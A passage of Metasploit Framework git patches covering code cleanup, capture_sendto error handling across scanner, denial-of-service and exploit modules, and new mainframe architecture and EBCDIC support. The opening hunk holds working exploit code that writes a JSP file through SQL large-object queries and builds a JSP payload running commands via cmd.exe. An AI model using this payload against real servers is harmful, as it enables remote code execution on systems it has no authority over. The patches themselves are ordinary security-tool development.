"runQuery.do"), + 'uri' => normalize_uri(uri, 'event', 'runQuery.do'), 'cookie' => cookies, 'vars_post' => { 'execute' => 'true', @@ -87,26 +87,26 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::Unknown, "#{peer} - Failed executing SQL query!") end - return res + res end def generate_jsp_payload(cmd) - decoder = rand_text_alphanumeric(4 + rand(32 - 4)) - decoded_bytes = rand_text_alphanumeric(4 + rand(32 - 4)) - cmd_array = rand_text_alphanumeric(4 + rand(32 - 4)) - jcode = "<%" - jcode << "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n" - jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n" - jcode << "String [] #{cmd_array} = new String[3];\n" - jcode << "#{cmd_array}[0] = \"cmd.exe\";\n" - jcode << "#{cmd_array}[1] = \"/c\";\n" - jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n" - jcode << "Runtime.getRuntime().exec(#{cmd_array});\n" - jcode << "%>" + decoder = rand_text_alpha(4 + rand(32 - 4)) + decoded_bytes = rand_text_alpha(4 + rand(32 - 4)) + cmd_array = rand_text_alpha(4 + rand(32 - 4)) + jsp_code = '<%' + jsp_code << "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n" + jsp_code << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n" + jsp_code << "String [] #{cmd_array} = new String[3];\n" + jsp_code << "#{cmd_array}[0] = \"cmd.exe\";\n" + jsp_code << "#{cmd_array}[1] = \"/c\";\n" + jsp_code << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n" + jsp_code << "Runtime.getRuntime().exec(#{cmd_array});\n" + jsp_code << '%>' - return jcode + jsp_code end @@ -115,7 +115,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Retrieving JSESSION ID") res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(uri, "event", "index3.do"), + 'uri' => normalize_uri(uri, 'event', 'index3.do'), }) if res && res.code == 200 && res.get_cookies =~ /JSESSIONID=(\w+);/ @@ -128,7 +128,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Access login page") res = send_request_cgi({ 'method' => 'POST', - 'uri' => normalize_uri(uri, "event", "j_security_check;jsessionid=#{jsessionid}"), + 'uri' => normalize_uri(uri, 'event', "j_security_check;jsessionid=#{jsessionid}"), 'vars_post' => { 'forChecking' => 'null', 'j_username' => datastore['USERNAME'], @@ -171,11 +171,11 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Executing SQL queries") # Remove large object in database, just in case it exists from previous exploit attempts - sql = "SELECT lo_unlink(-1)" + sql = 'SELECT lo_unlink(-1)' result = sql_query(cookies, sql) # Create large object "-1". We use "-1" so we will not accidently overwrite large objects in use by other tasks. - sql = "SELECT lo_create(-1)" + sql = 'SELECT lo_create(-1)' result = sql_query(cookies, sql) if result.body =~ /menuItemRow\">([0-9]+)/ loid = $1 @@ -196,7 +196,7 @@ class Metasploit3 < Msf::Exploit::Remote sql_query(cookies, sql) # Remove our large object in the database - sql = "SELECT lo_unlink(-1)" + sql = 'SELECT lo_unlink(-1)' result = sql_query(cookies, sql) register_file_for_cleanup("..\\webapps\\event\\#{jsp_name}") @@ -207,10 +207,9 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => normalize_uri(uri, jsp_name), }) - sleep(datastore['WAIT']) - # If the server returns 200 we assume we uploaded and executed the payload file successfully - if not res or res.code != 200 + unless res && res.code == 200 + print_status("#{res.code}\n#{res.body}") fail_with(Failure::Unknown, "#{peer} - Payload not executed, aborting!") end From 766829c939ac2ebfa3a3b67176ef856a88d5317c Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Sun, 27 Sep 2015 13:46:00 -0700 Subject: [PATCH 0714/2172] Fix #6008 for xmas.rb --- modules/auxiliary/scanner/portscan/xmas.rb | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/portscan/xmas.rb b/modules/auxiliary/scanner/portscan/xmas.rb index cec2214f64..8f64a84695 100644 --- a/modules/auxiliary/scanner/portscan/xmas.rb +++ b/modules/auxiliary/scanner/portscan/xmas.rb @@ -55,9 +55,11 @@ class Metasploit3 < Msf::Auxiliary to = (datastore['TIMEOUT'] || 500).to_f / 1000.0 + # we copy the hosts because some may not be reachable and need to be ejected + host_queue = hosts.dup # Spread the load across the hosts ports.each do |dport| - hosts.each do |dhost| + host_queue.each do |dhost| shost, sport = getsource(dhost) pcap.setfilter(getfilter(shost, sport, dhost, dport)) @@ -65,7 +67,10 @@ class Metasploit3 < Msf::Auxiliary begin probe = buildprobe(shost, sport, dhost, dport) - capture_sendto(probe, dhost) + unless capture_sendto(probe, dhost) + host_queue.delete(dhost) + next + end reply = probereply(pcap, to) From 3888b793bd14b7d735fc328d1f3983a68024f8a5 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Sun, 27 Sep 2015 13:53:47 -0700 Subject: [PATCH 0715/2172] Fix #6008 for ack.rb --- modules/auxiliary/scanner/portscan/ack.rb | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/portscan/ack.rb b/modules/auxiliary/scanner/portscan/ack.rb index 955ae59b8d..e020120a0e 100644 --- a/modules/auxiliary/scanner/portscan/ack.rb +++ b/modules/auxiliary/scanner/portscan/ack.rb @@ -55,9 +55,11 @@ class Metasploit3 < Msf::Auxiliary to = (datastore['TIMEOUT'] || 500).to_f / 1000.0 + # we copy the hosts because some may not be reachable and need to be ejected + host_queue = hosts.dup # Spread the load across the hosts ports.each do |dport| - hosts.each do |dhost| + host_queue.each do |dhost| shost, sport = getsource(dhost) pcap.setfilter(getfilter(shost, sport, dhost, dport)) @@ -65,7 +67,10 @@ class Metasploit3 < Msf::Auxiliary begin probe = buildprobe(shost, sport, dhost, dport) - capture_sendto(probe, dhost) + unless capture_sendto(probe, dhost) + host_queue.delete(dhost) + next + end reply = probereply(pcap, to) From 5b1ee8c8caf4b0b76828a2ff4c096aca757e43e9 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Sun, 27 Sep 2015 13:54:11 -0700 Subject: [PATCH 0716/2172] Fix #6008 for syn.rb --- modules/auxiliary/scanner/portscan/syn.rb | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/portscan/syn.rb b/modules/auxiliary/scanner/portscan/syn.rb index e547ffd853..b59ee5c028 100644 --- a/modules/auxiliary/scanner/portscan/syn.rb +++ b/modules/auxiliary/scanner/portscan/syn.rb @@ -53,9 +53,11 @@ class Metasploit3 < Msf::Auxiliary to = (datastore['TIMEOUT'] || 500).to_f / 1000.0 + # we copy the hosts because some may not be reachable and need to be ejected + host_queue = hosts.dup # Spread the load across the hosts ports.each do |dport| - hosts.each do |dhost| + host_queue.each do |dhost| shost, sport = getsource(dhost) self.capture.setfilter(getfilter(shost, sport, dhost, dport)) @@ -63,7 +65,10 @@ class Metasploit3 < Msf::Auxiliary begin probe = buildprobe(shost, sport, dhost, dport) - capture_sendto(probe, dhost) + unless capture_sendto(probe, dhost) + host_queue.delete(dhost) + next + end reply = probereply(self.capture, to) From d3a41323b88e342bb3d5fe207221c1d51873d4ab Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Sun, 27 Sep 2015 14:05:05 -0700 Subject: [PATCH 0717/2172] Fix #6008 for ipidseq.rb --- modules/auxiliary/scanner/ip/ipidseq.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/ip/ipidseq.rb b/modules/auxiliary/scanner/ip/ipidseq.rb index f7980275fb..aa3e1a9244 100644 --- a/modules/auxiliary/scanner/ip/ipidseq.rb +++ b/modules/auxiliary/scanner/ip/ipidseq.rb @@ -69,7 +69,7 @@ class Metasploit3 < Msf::Auxiliary probe = buildprobe(shost, sport, ip, rport) - capture_sendto(probe, ip) + next unless capture_sendto(probe, ip) reply = probereply(pcap, to) From 06a10e136a03a61736fa9a1e6da3d31e60c823ae Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Sun, 27 Sep 2015 14:12:23 -0700 Subject: [PATCH 0718/2172] Fix #6008 for rogue_send --- modules/auxiliary/scanner/rogue/rogue_send.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/rogue/rogue_send.rb b/modules/auxiliary/scanner/rogue/rogue_send.rb index 73b585bfdc..f9c8818c55 100644 --- a/modules/auxiliary/scanner/rogue/rogue_send.rb +++ b/modules/auxiliary/scanner/rogue/rogue_send.rb @@ -43,9 +43,7 @@ class Metasploit3 < Msf::Auxiliary pcap = self.capture - capture_sendto(build_tcp_syn(ip), ip) - - capture_sendto(build_icmp(ip), ip) + capture_sendto(build_tcp_syn(ip), ip) && capture_sendto(build_icmp(ip), ip) close_pcap end From 20ddb65ff8ed6915853fd02a2b8310f32eb76c8c Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Sun, 27 Sep 2015 14:18:51 -0700 Subject: [PATCH 0719/2172] Fix #6008 for bnat_scan --- modules/auxiliary/bnat/bnat_scan.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/bnat/bnat_scan.rb b/modules/auxiliary/bnat/bnat_scan.rb index 8c1589a027..278b9d6d26 100644 --- a/modules/auxiliary/bnat/bnat_scan.rb +++ b/modules/auxiliary/bnat/bnat_scan.rb @@ -89,7 +89,7 @@ class Metasploit3 < Msf::Auxiliary ackbpf = "tcp [8:4] == 0x#{(p.tcp_seq + 1).to_s(16)}" pcap.setfilter("tcp and tcp[13] == 18 and not host #{ip} and src port #{p.tcp_dst} and dst port #{p.tcp_src} and #{ackbpf}") - capture_sendto(p, ip) + break unless capture_sendto(p, ip) reply = probe_reply(pcap, to) next if reply.nil? From 7b026676f1b41626fced70f5feae6ec2966f1e5e Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Sun, 27 Sep 2015 14:47:05 -0700 Subject: [PATCH 0720/2172] Fix #6008 for avahi_portzero --- modules/auxiliary/dos/mdns/avahi_portzero.rb | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/modules/auxiliary/dos/mdns/avahi_portzero.rb b/modules/auxiliary/dos/mdns/avahi_portzero.rb index b17d1b2aff..4cf177b852 100644 --- a/modules/auxiliary/dos/mdns/avahi_portzero.rb +++ b/modules/auxiliary/dos/mdns/avahi_portzero.rb @@ -45,10 +45,7 @@ class Metasploit3 < Msf::Auxiliary p.udp_dport = datastore['RPORT'].to_i p.payload = Rex::Text.rand_text(rand(0x20)) # UDP needs at least one data byte, may as well send a few. p.recalc - capture_sendto(p, rhost) - + capture_sendto(p, rhost) and print_status("Avahi should be down now") close_pcap - - print_status("Avahi should be down now") end end From 7ad7db744225ed4ea6d0f0e3463edf0387ef574c Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Sun, 27 Sep 2015 14:48:58 -0700 Subject: [PATCH 0721/2172] Fix #6008 for rogue_send. Correctly. --- modules/auxiliary/scanner/rogue/rogue_send.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/rogue/rogue_send.rb b/modules/auxiliary/scanner/rogue/rogue_send.rb index f9c8818c55..6634ca0885 100644 --- a/modules/auxiliary/scanner/rogue/rogue_send.rb +++ b/modules/auxiliary/scanner/rogue/rogue_send.rb @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Auxiliary pcap = self.capture - capture_sendto(build_tcp_syn(ip), ip) && capture_sendto(build_icmp(ip), ip) + capture_sendto(build_tcp_syn(ip), ip) and capture_sendto(build_icmp(ip), ip) close_pcap end From 989fe49750b482d0b3a488fcfe7f24def75ac667 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Sun, 27 Sep 2015 14:50:59 -0700 Subject: [PATCH 0722/2172] Fix #6008 for synflood --- modules/auxiliary/dos/tcp/synflood.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/dos/tcp/synflood.rb b/modules/auxiliary/dos/tcp/synflood.rb index c0651e4a6c..0ba1568205 100644 --- a/modules/auxiliary/dos/tcp/synflood.rb +++ b/modules/auxiliary/dos/tcp/synflood.rb @@ -60,7 +60,7 @@ class Metasploit3 < Msf::Auxiliary p.tcp_sport = sport p.tcp_seq = rand(0x100000000) p.recalc - capture_sendto(p,rhost) + break unless capture_sendto(p,rhost) sent += 1 end From bbd08b84e5c816655c82328122cf250af6ed7d32 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Sun, 27 Sep 2015 14:53:40 -0700 Subject: [PATCH 0723/2172] Fix #6008 for snort_dce_rpc --- modules/exploits/multi/ids/snort_dce_rpc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/ids/snort_dce_rpc.rb b/modules/exploits/multi/ids/snort_dce_rpc.rb index 702b3fbadc..04491e6dc0 100644 --- a/modules/exploits/multi/ids/snort_dce_rpc.rb +++ b/modules/exploits/multi/ids/snort_dce_rpc.rb @@ -97,7 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{rhost}:#{rport} Sending crafted SMB packet from #{shost}...") - capture_sendto(p, rhost) + return unless capture_sendto(p, rhost) handler end From bd2f73f40a3fef6da803e4a361583d879a6c8af6 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Sun, 27 Sep 2015 14:55:19 -0700 Subject: [PATCH 0724/2172] Fix #6008 for wireshark_lwres_getaddrbyname --- modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb index 10e103dc67..ee804483e5 100644 --- a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb +++ b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb @@ -204,10 +204,10 @@ class Metasploit3 < Msf::Exploit::Remote p.payload = sploit p.recalc - capture_sendto(p, rhost) + sent = capture_sendto(p, rhost) close_pcap - handler + handler if sent else print_status("Sending malformed LWRES packet to #{rhost}") connect_udp From 96e4e883ae4bc1ac255095036bac0258a474a6f7 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Sun, 27 Sep 2015 14:56:11 -0700 Subject: [PATCH 0725/2172] Fix #6008 for wireshark_lwres_getaddrbyname_loop --- .../exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb index 9762c192fc..18db711cc3 100644 --- a/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb +++ b/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb @@ -215,7 +215,7 @@ class Metasploit3 < Msf::Exploit::Remote while true break if session_created? and datastore['ExitOnSession'] - capture_sendto(p, rhost) + break unless capture_sendto(p, rhost) select(nil,nil,nil,datastore['DELAY']) end From fc9a75719435f0549e86c0feca9d12df873148ba Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Sun, 27 Sep 2015 15:06:29 -0700 Subject: [PATCH 0726/2172] Fix #6008 for the 6 modules that use scanner_spoof_send --- lib/msf/core/auxiliary/udp_scanner.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/auxiliary/udp_scanner.rb b/lib/msf/core/auxiliary/udp_scanner.rb index d64d0c39ff..50aa154d32 100644 --- a/lib/msf/core/auxiliary/udp_scanner.rb +++ b/lib/msf/core/auxiliary/udp_scanner.rb @@ -86,7 +86,7 @@ module Auxiliary::UDPScanner p.recalc print_status("Sending #{num_packets} packet(s) to #{ip} from #{srcip}") 1.upto(num_packets) do |x| - capture_sendto(p, ip) + break unless capture_sendto(p, ip) end close_pcap end From 7d9d3864c38a7a4e85ca7be46028d69340badf58 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Sun, 27 Sep 2015 15:40:32 -0700 Subject: [PATCH 0727/2172] Add docs for capture_sendto --- lib/msf/core/exploit/capture.rb | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/exploit/capture.rb b/lib/msf/core/exploit/capture.rb index f8b7af038d..be8d27a79c 100644 --- a/lib/msf/core/exploit/capture.rb +++ b/lib/msf/core/exploit/capture.rb @@ -232,10 +232,16 @@ module Msf end end - # capture_sendto is intended to replace the old Rex::Socket::Ip.sendto method. It requires - # a payload and a destination address. To send to the broadcast address, set bcast - # to true (this will guarantee that packets will be sent even if ARP doesn't work - # out). + # Sends a payload to a given target using the pcap capture interface + # + # == Parameters: + # payload:: The payload String to send + # dhost:: the destination host to send to + # bcast:: set to `true` to send to the broadcast address if necessary + # dev:: the name of the network interface to send the payload on + # + # == Returns: + # The number of bytes sent iff the payload was successfully sent/injected. `false` otherwise def capture_sendto(payload="", dhost=nil, bcast=false, dev=nil) raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)" unless self.capture raise RuntimeError, "Must specify a host to sendto" unless dhost From e1c3d3e277f6b5bc36d819baf4733d96f37f7482 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Sun, 27 Sep 2015 15:51:40 -0700 Subject: [PATCH 0728/2172] Stub unit tests for capture_sendto. Unsure if these will be possible --- spec/lib/msf/core/exploit/capture_spec.rb | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/spec/lib/msf/core/exploit/capture_spec.rb b/spec/lib/msf/core/exploit/capture_spec.rb index 54ed8ed238..3e97424dad 100644 --- a/spec/lib/msf/core/exploit/capture_spec.rb +++ b/spec/lib/msf/core/exploit/capture_spec.rb @@ -17,6 +17,17 @@ describe Msf::Exploit::Capture do subject.should be_a_kind_of Msf::Exploit::Capture end + context '#capture_sendto' do + it 'should return false if the destination MAC cannot be determined and broadcast is not desired' do + end + + it 'should return the correct number of bytes if the destination MAC cannot be determined and broadcast is desired' do + end + + it 'should return the correct number of bytes if the destination MAC can be determined' do + end + end + context '#stats_*' do it 'should show received packets' do From 258e743f82bbb905d86bee1bd4f492291cd0fcc7 Mon Sep 17 00:00:00 2001 From: bigendian smalls Date: Mon, 28 Sep 2015 09:36:31 -0500 Subject: [PATCH 0729/2172] Added ARCH_ZARCH as architecture option SystemZ (z/os, mainframe) added as a constant to the arch.rb file. This along with other commits in this package will allow for development of SystemZ (mainframe) based modules. --- lib/rex/arch.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/lib/rex/arch.rb b/lib/rex/arch.rb index dfb88e3b19..7ea7251cbf 100644 --- a/lib/rex/arch.rb +++ b/lib/rex/arch.rb @@ -18,6 +18,7 @@ module Arch # require 'rex/arch/x86' require 'rex/arch/sparc' + require 'rex/arch/zarch' # # This routine adjusts the stack pointer for a given architecture. @@ -64,6 +65,8 @@ module Arch [addr].pack('V') when ARCH_ARMBE [addr].pack('N') + when ARCH_ZARCH + [addr].pack('Q>') end end @@ -95,6 +98,8 @@ module Arch return ENDIAN_LITTLE when ARCH_ARMBE return ENDIAN_BIG + when ARCH_ZARCH + return ENDIAN_BIG end return ENDIAN_LITTLE From 94e0a7805039537db28aa363bbb893e1b4f784be Mon Sep 17 00:00:00 2001 From: bigendian smalls Date: Mon, 28 Sep 2015 09:41:22 -0500 Subject: [PATCH 0730/2172] Added zarch.rb architecture file --- lib/rex/arch/zarch.rb | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) create mode 100644 lib/rex/arch/zarch.rb diff --git a/lib/rex/arch/zarch.rb b/lib/rex/arch/zarch.rb new file mode 100644 index 0000000000..d90a9085aa --- /dev/null +++ b/lib/rex/arch/zarch.rb @@ -0,0 +1,17 @@ +# -*- coding: binary -*- + +module Rex +module Arch + +# +# base module for ZARCH creation 8/13/15 +# Author: BeS Bigendian Smalls +# + +module ZARCH + + +end + +end end + From 33807abeda471925c8afb08588ab7ea6a54a3648 Mon Sep 17 00:00:00 2001 From: bigendian smalls Date: Mon, 28 Sep 2015 09:47:24 -0500 Subject: [PATCH 0731/2172] Updated contstants.rb with ARCH_ZARCH / mainframe --- lib/rex/constants.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/rex/constants.rb b/lib/rex/constants.rb index d5be93077a..fbb16fea73 100644 --- a/lib/rex/constants.rb +++ b/lib/rex/constants.rb @@ -88,6 +88,7 @@ ARCH_DALVIK = 'dalvik' ARCH_PYTHON = 'python' ARCH_NODEJS = 'nodejs' ARCH_FIREFOX = 'firefox' +ARCH_ZARCH = 'zarch' ARCH_TYPES = [ ARCH_X86, @@ -110,7 +111,7 @@ ARCH_TYPES = ARCH_DALVIK, ARCH_PYTHON, ARCH_NODEJS, - ARCH_FIREFOX + ARCH_ZARCH, ] ARCH_ALL = ARCH_TYPES From bb769f0dca8b9a79ad8d1195c859d3a5b1f78259 Mon Sep 17 00:00:00 2001 From: bigendian smalls Date: Mon, 28 Sep 2015 09:55:30 -0500 Subject: [PATCH 0732/2172] Added mainframe ebcdic<->ascii conv ability Within text.rb added 2 tables and 2 methods that allow for the tranlsation of EBCDIC<->ASCII for mainframe modules and functionality (SystemZ Zarchitecturer mainframe) --- lib/rex/text.rb | 122 +++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 121 insertions(+), 1 deletion(-) diff --git a/lib/rex/text.rb b/lib/rex/text.rb index 9d55293c61..ffeb848ee6 100644 --- a/lib/rex/text.rb +++ b/lib/rex/text.rb @@ -45,6 +45,93 @@ module Text DefaultPatternSets = [ Rex::Text::UpperAlpha, Rex::Text::LowerAlpha, Rex::Text::Numerals ] + # The Iconv translation table for IBM's mainframe / System Z + # (z/os, s390, mvs, etc) - This is a different implementation + # of EBCDIC than the Iconv_EBCDIC below. + # It is technically referred to as Code Page IBM1047. + # This will be net new (until Ruby supports 1047 code page) + # for all Mainframe / SystemZ based modules + # that need to convert ASCII to EBCDIC + # + # The bytes are indexed by ASCII conversion number + # e.g. Iconv_IBM1047[0x41] == \xc1 for letter "A" + # + # Note the characters CANNOT be assumed to be in any logical + # order. Nor are the tables reversible. Lookups must be for each byte + # https://gist.github.com/bigendiansmalls/b08483ecedff52cc8fa3 + # + Iconv_IBM1047 = [ + "\x00","\x01","\x02","\x03","\x37","\x2d","\x2e","\x2f", + "\x16","\x05","\x15","\x0b","\x0c","\x0d","\x0e","\x0f","\x10", + "\x11","\x12","\x13","\x3c","\x3d","\x32","\x26","\x18","\x19", + "\x3f","\x27","\x1c","\x1d","\x1e","\x1f","\x40","\x5a","\x7f", + "\x7b","\x5b","\x6c","\x50","\x7d","\x4d","\x5d","\x5c","\x4e", + "\x6b","\x60","\x4b","\x61","\xf0","\xf1","\xf2","\xf3","\xf4", + "\xf5","\xf6","\xf7","\xf8","\xf9","\x7a","\x5e","\x4c","\x7e", + "\x6e","\x6f","\x7c","\xc1","\xc2","\xc3","\xc4","\xc5","\xc6", + "\xc7","\xc8","\xc9","\xd1","\xd2","\xd3","\xd4","\xd5","\xd6", + "\xd7","\xd8","\xd9","\xe2","\xe3","\xe4","\xe5","\xe6","\xe7", + "\xe8","\xe9","\xad","\xe0","\xbd","\x5f","\x6d","\x79","\x81", + "\x82","\x83","\x84","\x85","\x86","\x87","\x88","\x89","\x91", + "\x92","\x93","\x94","\x95","\x96","\x97","\x98","\x99","\xa2", + "\xa3","\xa4","\xa5","\xa6","\xa7","\xa8","\xa9","\xc0","\x4f", + "\xd0","\xa1","\x07","\x20","\x21","\x22","\x23","\x24","\x25", + "\x06","\x17","\x28","\x29","\x2a","\x2b","\x2c","\x09","\x0a", + "\x1b","\x30","\x31","\x1a","\x33","\x34","\x35","\x36","\x08", + "\x38","\x39","\x3a","\x3b","\x04","\x14","\x3e","\xff","\x41", + "\xaa","\x4a","\xb1","\x9f","\xb2","\x6a","\xb5","\xbb","\xb4", + "\x9a","\x8a","\xb0","\xca","\xaf","\xbc","\x90","\x8f","\xea", + "\xfa","\xbe","\xa0","\xb6","\xb3","\x9d","\xda","\x9b","\x8b", + "\xb7","\xb8","\xb9","\xab","\x64","\x65","\x62","\x66","\x63", + "\x67","\x9e","\x68","\x74","\x71","\x72","\x73","\x78","\x75", + "\x76","\x77","\xac","\x69","\xed","\xee","\xeb","\xef","\xec", + "\xbf","\x80","\xfd","\xfe","\xfb","\xfc","\xba","\xae","\x59", + "\x44","\x45","\x42","\x46","\x43","\x47","\x9c","\x48","\x54", + "\x51","\x52","\x53","\x58","\x55","\x56","\x57","\x8c","\x49", + "\xcd","\xce","\xcb","\xcf","\xcc","\xe1","\x70","\xdd","\xde", + "\xdb","\xdc","\x8d","\x8e","\xdf" + ] + + # + # This is the reverse of the above, converts EBCDIC -> ASCII + # The bytes are indexed by IBM1047(EBCDIC) conversion number + # e.g. Iconv_ISO8859_1[0xc1] = \x41 for letter "A" + # + # Note the characters CANNOT be assumed to be in any logical (e.g. sequential) + # order. Nor are the tables reversible. Lookups must be done byte by byte + # + Iconv_ISO8859_1 = [ + "\x00","\x01","\x02","\x03","\x9c","\x09","\x86","\x7f", + "\x97","\x8d","\x8e","\x0b","\x0c","\x0d","\x0e","\x0f","\x10", + "\x11","\x12","\x13","\x9d","\x0a","\x08","\x87","\x18","\x19", + "\x92","\x8f","\x1c","\x1d","\x1e","\x1f","\x80","\x81","\x82", + "\x83","\x84","\x85","\x17","\x1b","\x88","\x89","\x8a","\x8b", + "\x8c","\x05","\x06","\x07","\x90","\x91","\x16","\x93","\x94", + "\x95","\x96","\x04","\x98","\x99","\x9a","\x9b","\x14","\x15", + "\x9e","\x1a","\x20","\xa0","\xe2","\xe4","\xe0","\xe1","\xe3", + "\xe5","\xe7","\xf1","\xa2","\x2e","\x3c","\x28","\x2b","\x7c", + "\x26","\xe9","\xea","\xeb","\xe8","\xed","\xee","\xef","\xec", + "\xdf","\x21","\x24","\x2a","\x29","\x3b","\x5e","\x2d","\x2f", + "\xc2","\xc4","\xc0","\xc1","\xc3","\xc5","\xc7","\xd1","\xa6", + "\x2c","\x25","\x5f","\x3e","\x3f","\xf8","\xc9","\xca","\xcb", + "\xc8","\xcd","\xce","\xcf","\xcc","\x60","\x3a","\x23","\x40", + "\x27","\x3d","\x22","\xd8","\x61","\x62","\x63","\x64","\x65", + "\x66","\x67","\x68","\x69","\xab","\xbb","\xf0","\xfd","\xfe", + "\xb1","\xb0","\x6a","\x6b","\x6c","\x6d","\x6e","\x6f","\x70", + "\x71","\x72","\xaa","\xba","\xe6","\xb8","\xc6","\xa4","\xb5", + "\x7e","\x73","\x74","\x75","\x76","\x77","\x78","\x79","\x7a", + "\xa1","\xbf","\xd0","\x5b","\xde","\xae","\xac","\xa3","\xa5", + "\xb7","\xa9","\xa7","\xb6","\xbc","\xbd","\xbe","\xdd","\xa8", + "\xaf","\x5d","\xb4","\xd7","\x7b","\x41","\x42","\x43","\x44", + "\x45","\x46","\x47","\x48","\x49","\xad","\xf4","\xf6","\xf2", + "\xf3","\xf5","\x7d","\x4a","\x4b","\x4c","\x4d","\x4e","\x4f", + "\x50","\x51","\x52","\xb9","\xfb","\xfc","\xf9","\xfa","\xff", + "\x5c","\xf7","\x53","\x54","\x55","\x56","\x57","\x58","\x59", + "\x5a","\xb2","\xd4","\xd6","\xd2","\xd3","\xd5","\x30","\x31", + "\x32","\x33","\x34","\x35","\x36","\x37","\x38","\x39","\xb3", + "\xdb","\xdc","\xd9","\xda","\x9f" + ] + # The Iconv translation table. The Iconv gem is deprecated in favor of # String#encode, yet there is no encoding for EBCDIC. See #4525 Iconv_EBCDIC = [ @@ -396,7 +483,7 @@ module Text new_str.join end - # A native implementation of the EBCIDC to ASCII conversion table, since + # A native implementation of the EBCDIC to ASCII conversion table, since # EBCDIC isn't available to String#encode as of Ruby 2.1 # # @param str [String] an EBCDIC encoded string @@ -414,6 +501,39 @@ module Text new_str.join end + # + # The next two are the same as the above, except strictly for z/os + # conversions + # strictly for IBM1047 -> ISO8859-1 + # A native implementation of the IBM1047(EBCDIC) -> ISO8859-1(ASCII) + # conversion table, since EBCDIC isn't available to String#encode as of Ruby 2.1 + # all 256 bytes are defined + # + def self.to_ibm1047(str) + return str if str.nil? + new_str = [] + str.each_byte do |x| + new_str << Iconv_IBM1047[x.ord] + end + new_str.join + end + + # + # The next two are the same as the above, except strictly for z/os + # conversions + # strictly for ISO8859-1 -> IBM1047 + # A native implementation of the ISO8859-1(ASCII) -> IBM1047(EBCDIC) + # conversion table, since EBCDIC isn't available to String#encode as of Ruby 2.1 + # + def self.from_ibm1047(str) + return str if str.nil? + new_str = [] + str.each_byte do |x| + new_str << Iconv_ISO8859_1[x.ord] + end + new_str.join + end + # # Returns the words in +str+ as an Array. # From bc718da5d9e99dbb3ab70965a4a405e99200cee2 Mon Sep 17 00:00:00 2001 From: bigendian smalls Date: Mon, 28 Sep 2015 10:03:15 -0500 Subject: [PATCH 0733/2172] Added mainframe as a platform in core To develop modules, mainframe and zArchitecture needs to be defined in several places. This is the official platform.rb definition --- lib/msf/core/module/platform.rb | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/lib/msf/core/module/platform.rb b/lib/msf/core/module/platform.rb index dc360ff23a..97060a3d71 100644 --- a/lib/msf/core/module/platform.rb +++ b/lib/msf/core/module/platform.rb @@ -524,4 +524,12 @@ class Msf::Module::Platform Rank = 100 Alias = "firefox" end + + # + # 